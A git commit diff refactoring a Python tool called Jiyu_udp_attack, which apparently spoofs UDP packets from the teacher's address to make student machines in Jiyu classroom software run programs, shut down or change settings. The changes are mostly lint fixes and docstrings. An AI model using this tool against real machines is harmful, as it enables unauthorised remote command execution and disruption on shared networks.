refactor: Improve code readability and structure

Author: weilycoder

.pylintrc

@@ -1,3 +1,10 @@
 [MASTER]
 py-version = 3.8
-disable = invalid-name, line-too-long, too-many-locals, too-many-arguments, too-many-return-statements, too-many-positional-arguments
+disable =
+    invalid-name,
+    line-too-long,
+    too-many-arguments,
+    too-many-branches,
+    too-many-locals,
+    too-many-return-statements,
+    too-many-statements

Jiyu_udp_attack/__main__.py

@@ -1,5 +1,3 @@
-# pylint: disable=all
-
 """
 Jiyu Attack Script
 
@@ -46,6 +44,10 @@
 
 
 def main_parser():
+    """
+    Main parser for the Jiyu attack script.
+    This function sets up the command-line argument parser with various options for network configuration and attack actions
+    """
     parser = argparse.ArgumentParser(
         prog="Jiyu_udp_attack",
         description="Jiyu Attack Script\n\n"
@@ -320,7 +322,8 @@ def setting_parser():
     return parser
 
 
-if __name__ == "__main__":
+def main():
+    """Main function to parse arguments and execute the attack."""
     logger: List[Any] = []
 
     parser = main_parser()
@@ -353,7 +356,9 @@ def setting_parser():
                     program, args_list = args_list
                 else:
                     parser.error("Invalid execute arguments: expected [program] or [program, args_list]")
-            payload = pkg_execute(program, args_list, "normal" if mode is None else mode)
+            payload = pkg_execute(
+                program, args_list, "normal" if mode is None else mode  # pylint: disable=E0601, E0606
+            )
         elif args.shutdown is not None:
             if len(args.shutdown) == 0:
                 payload = pkg_shutdown()
@@ -387,7 +392,7 @@ def setting_parser():
         elif args.setting is not None:
             parser2 = setting_parser()
             setting_args = parser2.parse_args(shlex.split(args.setting))
-            payload = pkg_setting(**dict(setting_args._get_kwargs()))
+            payload = pkg_setting(**dict(setting_args._get_kwargs()))  # pylint: disable=protected-access
             logger.append(setting_args)  # Store parsed settings for debugging
         elif args.hex:
             payload = binascii.unhexlify(args.hex.replace(" ", ""))
@@ -408,9 +413,19 @@ def setting_parser():
             parser.error("Target IP address cannot be empty. Use -h for help.")
 
         for target in targets:
-            broadcast_packet(teacher_ip, teacher_port, target, port, payload, ip_id=args.ip_id)
+            broadcast_packet(
+                teacher_ip, teacher_port, target, port, payload, ip_id=args.ip_id  # pylint: disable=E0601, E0606
+            )
             logger.append(f"Sent packet with a length of {len(payload)} to {target}:{port}")
 
         print(*logger, sep="\n\n")
-    except Exception as e:
+    except Exception as e:  # pylint: disable=broad-except
         parser.error(f"({e.__class__.__name__}) {e}")
+
+
+if __name__ == "__main__":
+    main()
+else:
+    print("This script is intended to be run as a standalone program, not imported as a module.")
+    print("Please run it directly using 'python Jiyu_udp_attack/__main__.py' or similar command.")
+    raise ImportError("This script is not designed to be imported as a module.")

Jiyu_udp_attack/arg_display.py

@@ -52,6 +52,7 @@ def __call__(
             setattr(namespace, self.dest, (mode, values))
 
     def format_usage(self) -> str:
+        """Format the usage string for this action."""
         return " | ".join(self.option_strings)
 
 

Jiyu_udp_attack/ip_analyze.py

@@ -2,7 +2,6 @@
 This module provides functions to analyze IP addresses and ranges, converting them into a list of valid IP addresses.
 """
 
-
 from typing import List, Tuple
 
 
@@ -27,8 +26,7 @@ def ip_to_tuple(ip: str) -> Tuple[int, int, int, int]:
     return ip_tuple
 
 
-# pylint: disable=too-many-branches
-def ip_analyze(ip: str) -> List[str]:
+def ip_analyze(ip: str) -> List[str]:  # pylint: disable=too-many-branches
     """
     Analyzes an IP address or range and returns a list of valid IP addresses.
 
@@ -60,10 +58,10 @@ def ip_analyze(ip: str) -> List[str]:
         if len(ip_range_tuple) != 4:
             raise ValueError(f"Invalid IP address range format: {ip}")
         ip_count = 1
-        ip_range: list[tuple[int, int]] = []
+        ip_range: List[Tuple[int, int]] = []
         for i in ip_range_tuple:
             rg = i.split("-")
-            if len(rg) ==1:
+            if len(rg) == 1:
                 rg.append(rg[0])
             if len(rg) != 2:
                 raise ValueError(f"Invalid IP address range format: {ip}")